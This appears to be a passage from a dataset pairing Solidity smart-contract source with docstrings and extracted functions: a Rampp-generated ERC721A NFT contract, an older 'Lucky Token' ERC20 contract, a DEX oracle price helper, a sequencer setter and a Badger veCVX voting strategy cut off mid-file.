Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * maxBatchSize refers to how much a minter can mint at a time. * collectionSize_ refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalMinted(); } function currentTokenId() public view returns (uint256) { return _totalMinted(); } function getNextTokenId() public view returns (uint256) { return SafeMath.add(_totalMinted(), 1); } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { unchecked { return currentIndex - _startTokenId(); } } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the baseURI and the tokenId. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether tokenId exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (_mint), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints quantity tokens and transfers them to to. * * Requirements: * * - there must be quantity tokens remaining unminted in the total collection. * - to cannot be the zero address. * - quantity cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers tokenId from from to to. * * Requirements: * * - to cannot be the zero address. * - tokenId token must be owned by from. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve to to operate on tokenId * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set owners to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); if (currentIndex == _startTokenId()) revert('No Tokens Minted Yet'); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When from and to are both non-zero, from's tokenId will be * transferred to to. * - When from is zero, tokenId will be minted for to. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when from and to are both non-zero. * - from and to are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } abstract contract Ramppable { address public RAMPPADDRESS = 0xa9dAC8f3aEDC55D0FE707B86B8A45d246858d2E1; modifier isRampp() { require(msg.sender == RAMPPADDRESS, "Ownable: caller is not RAMPP"); _; } } interface IERC20 { function transfer(address _to, uint256 _amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } abstract contract Withdrawable is Ownable, Ramppable { address[] public payableAddresses = [RAMPPADDRESS,0x1DFA35f514CdEf21Bef5Dd0c1b33E57f13E90a5a]; uint256[] public payableFees = [5,95]; uint256 public payableAddressCount = 2; function withdrawAll() public onlyOwner { require(address(this).balance > 0); _withdrawAll(); } function withdrawAllRampp() public isRampp { require(address(this).balance > 0); _withdrawAll(); } function _withdrawAll() private { uint256 balance = address(this).balance; for(uint i=0; i < payableAddressCount; i++ ) { _widthdraw( payableAddresses[i], (balance * payableFees[i]) / 100 ); } } function _widthdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Transfer failed."); } /** * @dev Allow contract owner to withdraw ERC-20 balance from contract * while still splitting royalty payments to all other team members. * in the event ERC-20 tokens are paid to the contract. * @param _tokenContract contract of ERC-20 token to withdraw * @param _amount balance to withdraw according to balanceOf of ERC-20 token */ function withdrawAllERC20(address _tokenContract, uint256 _amount) public onlyOwner { require(_amount > 0); IERC20 tokenContract = IERC20(_tokenContract); require(tokenContract.balanceOf(address(this)) >= _amount, 'Contract does not own enough tokens'); for(uint i=0; i < payableAddressCount; i++ ) { tokenContract.transfer(payableAddresses[i], (_amount * payableFees[i]) / 100); } } } abstract contract RamppERC721A is Ownable, ERC721A, Withdrawable, ReentrancyGuard { constructor( string memory tokenName, string memory tokenSymbol ) ERC721A(tokenName, tokenSymbol, 5, 1000 ) {} using SafeMath for uint256; uint8 public CONTRACT_VERSION = 2; string public _baseTokenURI = "ipfs://QmZRUBm8N4ahDJFg9rQMLFJXju9NNTMXdyV6uGBmCr3AEK/"; bool public mintingOpen = true; uint256 public MAX_WALLET_MINTS = 9; mapping(address => uint256) private addressMints; /////////////// Admin Mint Functions /** * @dev Mints a token to an address with a tokenURI. * This is owner only and allows a fee-free drop * @param _to address of the future owner of the token */ function mintToAdmin(address _to) public onlyOwner { require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 1000"); _safeMint(_to, 1); } function mintManyAdmin(address[] memory _addresses, uint256 _addressCount) public onlyOwner { for(uint i=0; i < _addressCount; i++ ) { mintToAdmin(_addresses[i]); } } /////////////// GENERIC MINT FUNCTIONS /** * @dev Mints a single token to an address. * fee may or may not be required* * @param _to address of the future owner of the token */ function mintTo(address _to) public payable { require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 1000"); require(mintingOpen == true, "Minting is not open right now!"); require(canMintAmount(_to, 1), "Wallet address is over the maximum allowed mints"); _safeMint(_to, 1); updateMintCount(_to, 1); } /** * @dev Mints a token to an address with a tokenURI. * fee may or may not be required* * @param _to address of the future owner of the token * @param _amount number of tokens to mint */ function mintToMultiple(address _to, uint256 _amount) public payable { require(_amount >= 1, "Must mint at least 1 token"); require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction"); require(mintingOpen == true, "Minting is not open right now!"); require(canMintAmount(_to, _amount), "Wallet address is over the maximum allowed mints"); require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 1000"); _safeMint(_to, _amount); updateMintCount(_to, _amount); } function openMinting() public onlyOwner { mintingOpen = true; } function stopMinting() public onlyOwner { mintingOpen = false; } /** * @dev Check if wallet over MAX_WALLET_MINTS * @param _address address in question to check if minted count exceeds max */ function canMintAmount(address _address, uint256 _amount) public view returns(bool) { require(_amount >= 1, "Amount must be greater than or equal to 1"); return SafeMath.add(addressMints[_address], _amount) <= MAX_WALLET_MINTS; } /** * @dev Update an address that has minted to new minted amount * @param _address address in question to check if minted count exceeds max * @param _amount the quanitiy of tokens to be minted */ function updateMintCount(address _address, uint256 _amount) private { require(_amount >= 1, "Amount must be greater than or equal to 1"); addressMints[_address] = SafeMath.add(addressMints[_address], _amount); } /** * @dev Update the maximum amount of tokens that can be minted by a unique wallet * @param _newWalletMax the new max of tokens a wallet can mint. Must be >= 1 */ function setWalletMax(uint256 _newWalletMax) public onlyOwner { require(_newWalletMax >= 1, "Max mints per wallet must be at least 1"); MAX_WALLET_MINTS = _newWalletMax; } /** * @dev Allows owner to set Max mints per tx * @param _newMaxMint maximum amount of tokens allowed to mint per tx. Must be >= 1 */ function setMaxMint(uint256 _newMaxMint) public onlyOwner { require(_newMaxMint >= 1, "Max mint must be at least 1"); maxBatchSize = _newMaxMint; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function baseTokenURI() public view returns (string memory) { return _baseTokenURI; } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } } // File: contracts/SaniksanikContract.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SaniksanikContract is RamppERC721A { constructor() RamppERC721A("SANIKSANIK", "sanik"){} function contractURI() public pure returns (string memory) { return "https://us-central1-nft-rampp.cloudfunctions.net/app/hXudbQBdwiYol1vuyBop/contract-metadata"; } } //*********************************************************************// //*********************************************************************// // ___ // / _ \ ___ _ __ _ ___ ___ // / , _// _ `/ / ' \ / _ \ / _ \ // /_/|_| \_,_/ /_/_/_/ / .__/ / .__/.xyz // /_/ /_/ // v2.0.1 // // This smart contract was generated by rampp.xyz. // Rampp allows creators like you to launch // large scale NFT projects without code! // // Rampp is not responsible for the content of this contract and // hopes it is being used in a responsible and kind way. // Twitter: @RamppDAO ---- rampp.xyz //*********************************************************************// //*********************************************************************//
Mints a token to an address with a tokenURI. fee may or may not be required _to address of the future owner of the token _amount number of tokens to mint/
function mintToMultiple(address _to, uint256 _amount) public payable { require(_amount >= 1, "Must mint at least 1 token"); require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction"); require(mintingOpen == true, "Minting is not open right now!"); require(canMintAmount(_to, _amount), "Wallet address is over the maximum allowed mints"); require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 1000"); _safeMint(_to, _amount); updateMintCount(_to, _amount); }
10,605,971
pragma solidity ^0.4.11; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract LuckyToken is owned { // Public variables of the token string public name = "Lucky Token"; string public symbol = "LUC"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply = 10000000000000000000000000; address public crowdsaleContract; uint sendingBanPeriod = 1525521600; // 05.05.2018 // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); modifier canSend() { require ( msg.sender == owner || now > sendingBanPeriod || msg.sender == crowdsaleContract); _; } /** * Constructor */ function LuckyToken( ) public { balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens } function setCrowdsaleContract(address contractAddress) public onlyOwner { crowdsaleContract = contractAddress; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public canSend { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public canSend returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
Transfer tokens Send `_value` tokens to `_to` from your account _to The address of the recipient _value the amount to send/
function transfer(address _to, uint256 _value) public canSend { _transfer(msg.sender, _to, _value); }
198,222
./full_match/40/0x62dfB99c4d0ac8764B75a132cE0C4C433AF46Cf4/sources/contracts/ElkDexOracle_flattened.sol
given the cumulative prices of the start and end of a period, and the length of the period, compute the average price in terms of how much amount out is received for the amount in. _priceCumulativeStart the cumulative price at the beginning of the period _priceCumulativeEnd the cumulative price at the end of the period _timeElapsed the length of the period over which the cumulative prices span _amountIn the amount of token in to compute the output amount of token out/ overflow is desired.
function computeAmountOut( uint _priceCumulativeStart, uint _priceCumulativeEnd, uint _timeElapsed, uint _amountIn ) private pure returns (uint amountOut) { FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112( uint224((_priceCumulativeEnd - _priceCumulativeStart) / _timeElapsed) ); amountOut = priceAverage.mul(_amountIn).decode144(); }
9,544,147
./full_match/5/0x3a5945b2a247c5077e59A968b5ec07543c498520/sources/contracts/da/BVM_EigenDataLayrChain.sol
update l2 latest block number _l2SubmittedBlockNumber l2 latest block number/
function updateSubmittedL2BlockNumber(uint256 _l2SubmittedBlockNumber) external { require(msg.sender == sequencer, "Only the sequencer can set latest l2 block number"); l2SubmittedBlockNumber = _l2SubmittedBlockNumber; }
1,931,680
// SPDX-License-Identifier: MIT pragma solidity ^0.6.11; pragma experimental ABIEncoderV2; import "deps/@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "interfaces/uniswap/IUniswapRouterV2.sol"; import "interfaces/badger/ISettV3.sol"; import "interfaces/badger/ISettV4.sol"; import "interfaces/badger/IController.sol"; import "interfaces/cvx/ICvxLocker.sol"; import "interfaces/snapshot/IDelegateRegistry.sol"; import "interfaces/curve/ICurvePool.sol"; import "../BaseStrategy.sol"; contract MyStrategy is BaseStrategy { using SafeERC20Upgradeable for IERC20Upgradeable; using AddressUpgradeable for address; using SafeMathUpgradeable for uint256; uint256 MAX_BPS = 10_000; // address public want // Inherited from BaseStrategy, the token the strategy wants, swaps into and tries to grow address public lpComponent; // Token we provide liquidity with address public reward; // Token we farm and swap to want / lpComponent address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant CVX = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B; address public constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52; address public constant BADGER_TREE = 0x660802Fc641b154aBA66a62137e71f331B6d787A; address public constant SUSHI_ROUTER = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; IDelegateRegistry public constant SNAPSHOT = IDelegateRegistry(0x469788fE6E9E9681C6ebF3bF78e7Fd26Fc015446); // The initial DELEGATE for the strategy // NOTE we can change it by using manualSetDelegate below address public constant DELEGATE = 0x14F83fF95D4Ec5E8812DDf42DA1232b0ba1015e6; bytes32 public constant DELEGATED_SPACE = 0x6376782e65746800000000000000000000000000000000000000000000000000; ISettV3 public constant CVX_VAULT = ISettV3(0x53C8E199eb2Cb7c01543C137078a038937a68E40); ISettV4 public constant CVXCRV_VAULT = ISettV4(0x2B5455aac8d64C14786c3a29858E43b5945819C0); // NOTE: At time of publishing, this contract is under audit ICvxLocker public constant LOCKER = ICvxLocker(0xD18140b4B819b895A3dba5442F959fA44994AF50); // Curve Pool to swap between cvxCRV and CRV ICurvePool public constant CURVE_POOL = ICurvePool(0x9D0464996170c6B9e75eED71c68B99dDEDf279e8); bool public withdrawalSafetyCheck = true; bool public harvestOnRebalance = true; // If nothing is unlocked, processExpiredLocks will revert bool public processLocksOnReinvest = true; bool public processLocksOnRebalance = true; event Debug(string name, uint256 value); // Used to signal to the Badger Tree that rewards where sent to it event TreeDistribution( address indexed token, uint256 amount, uint256 indexed blockNumber, uint256 timestamp ); event PerformanceFeeGovernance( address indexed destination, address indexed token, uint256 amount, uint256 indexed blockNumber, uint256 timestamp ); event PerformanceFeeStrategist( address indexed destination, address indexed token, uint256 amount, uint256 indexed blockNumber, uint256 timestamp ); function initialize( address _governance, address _strategist, address _controller, address _keeper, address _guardian, address[3] memory _wantConfig, uint256[3] memory _feeConfig ) public initializer { __BaseStrategy_init( _governance, _strategist, _controller, _keeper, _guardian ); /// @dev Add config here want = _wantConfig[0]; lpComponent = _wantConfig[1]; reward = _wantConfig[2]; performanceFeeGovernance = _feeConfig[0]; performanceFeeStrategist = _feeConfig[1]; withdrawalFee = _feeConfig[2]; IERC20Upgradeable(reward).safeApprove(address(CVXCRV_VAULT), type(uint256).max); /// @dev do one off approvals here // Sushi to swap CRV -> CVX // TODO: REMOVE IERC20Upgradeable(CRV).safeApprove(SUSHI_ROUTER, type(uint256).max); // Curve to swap cvxCRV -> CRV // TODO: REMOVE IERC20Upgradeable(reward).safeApprove(address(CURVE_POOL), type(uint256).max); // Permissions for Locker IERC20Upgradeable(CVX).safeApprove(address(LOCKER), type(uint256).max); IERC20Upgradeable(CVX).safeApprove( address(CVX_VAULT), type(uint256).max ); // Delegate voting to DELEGATE SNAPSHOT.setDelegate(DELEGATED_SPACE, DELEGATE); } /// ===== Extra Functions ===== /// @dev Change Delegation to another address function manualSetDelegate(address delegate) external { _onlyGovernance(); // Set delegate is enough as it will clear previous delegate automatically SNAPSHOT.setDelegate(DELEGATED_SPACE, delegate); } ///@dev Should we check if the amount requested is more than what we can return on withdrawal? function setWithdrawalSafetyCheck(bool newWithdrawalSafetyCheck) external { _onlyGovernance(); withdrawalSafetyCheck = newWithdrawalSafetyCheck; } ///@dev Should we harvest before doing manual rebalancing ///@notice you most likely want to skip harvest if everything is unlocked, or there's something wrong and you just want out function setHarvestOnRebalance(bool newHarvestOnRebalance) external { _onlyGovernance(); harvestOnRebalance = newHarvestOnRebalance; } ///@dev Should we processExpiredLocks during reinvest? function setProcessLocksOnReinvest(bool newProcessLocksOnReinvest) external { _onlyGovernance(); processLocksOnReinvest = newProcessLocksOnReinvest; } ///@dev Should we processExpiredLocks during manualRebalance? function setProcessLocksOnRebalance(bool newProcessLocksOnRebalance) external { _onlyGovernance(); processLocksOnRebalance = newProcessLocksOnRebalance; } /// ===== View Functions ===== function getBoostPayment() public view returns(uint256){ uint256 maximumBoostPayment = LOCKER.maximumBoostPayment(); require(maximumBoostPayment < 1500, "over max payment"); //max 15% return maximumBoostPayment; } /// @dev Specify the name of the strategy function getName() external pure override returns (string memory) { return "veCVX Voting Strategy"; } /// @dev Specify the version of the Strategy, for upgrades function version() external pure returns (string memory) { return "1.0"; } /// @dev From CVX Token to Helper Vault Token function CVXToWant(uint256 cvx) public view returns (uint256) { uint256 bCVXToCVX = CVX_VAULT.getPricePerFullShare(); return cvx.mul(10**18).div(bCVXToCVX); } /// @dev From Helper Vault Token to CVX Token function wantToCVX(uint256 want) public view returns (uint256) { uint256 bCVXToCVX = CVX_VAULT.getPricePerFullShare(); return want.mul(bCVXToCVX).div(10**18); } /// @dev Balance of want currently held in strategy positions function balanceOfPool() public view override returns (uint256) { if (withdrawalSafetyCheck) { uint256 bCVXToCVX = CVX_VAULT.getPricePerFullShare(); // 18 decimals require(bCVXToCVX > 10**18, "Loss Of Peg"); // Avoid trying to redeem for less / loss of peg } // Return the balance in locker + unlocked but not withdrawn, better estimate to allow some withdrawals // then multiply it by the price per share as we need to convert CVX to bCVX uint256 valueInLocker = CVXToWant(LOCKER.lockedBalanceOf(address(this))).add( CVXToWant(IERC20Upgradeable(CVX).balanceOf(address(this))) ); return (valueInLocker); } /// @dev Returns true if this strategy requires tending function isTendable() public view override returns (bool) { return false; } // @dev These are the tokens that cannot be moved except by the vault function getProtectedTokens() public view override returns (address[] memory) { address[] memory protectedTokens = new address[](4); protectedTokens[0] = want; protectedTokens[1] = lpComponent; protectedTokens[2] = reward; protectedTokens[3] = CVX; return protectedTokens; } /// ===== Permissioned Actions: Governance ===== /// @notice Delete if you don't need! function setKeepReward(uint256 _setKeepReward) external { _onlyGovernance(); } /// ===== Internal Core Implementations ===== /// @dev security check to avoid moving tokens that would cause a rugpull, edit based on strat function _onlyNotProtectedTokens(address _asset) internal override { address[] memory protectedTokens = getProtectedTokens(); for (uint256 x = 0; x < protectedTokens.length; x++) { require( address(protectedTokens[x]) != _asset, "Asset is protected" ); } } /// @dev invest the amount of want /// @notice When this function is called, the controller has already sent want to this /// @notice Just get the current balance and then invest accordingly function _deposit(uint256 _amount) internal override { // We receive bCVX -> Convert to CVX CVX_VAULT.withdraw(_amount); uint256 toDeposit = IERC20Upgradeable(CVX).balanceOf(address(this)); // Lock tokens for 16 weeks, send credit to strat, always use max boost cause why not? LOCKER.lock(address(this), toDeposit, getBoostPayment()); } /// @dev utility function to convert all we can to bCVX /// @notice You may want to harvest before calling this to maximize the amount of bCVX you'll have function prepareWithdrawAll() external { _onlyGovernance(); LOCKER.processExpiredLocks(false); uint256 toDeposit = IERC20Upgradeable(CVX).balanceOf(address(this)); if (toDeposit > 0) { CVX_VAULT.deposit(toDeposit); } } /// @dev utility function to withdraw everything for migration /// @dev NOTE: You cannot call this unless you have rebalanced to have only bCVX left in the vault function _withdrawAll() internal override { //NOTE: This probably will always fail unless we have all tokens expired require( LOCKER.lockedBalanceOf(address(this)) == 0 && LOCKER.balanceOf(address(this)) == 0, "You have to wait for unlock and have to manually rebalance out of it" ); // NO-OP because you can't deposit AND transfer with bCVX // See prepareWithdrawAll above } /// @dev withdraw the specified amount of 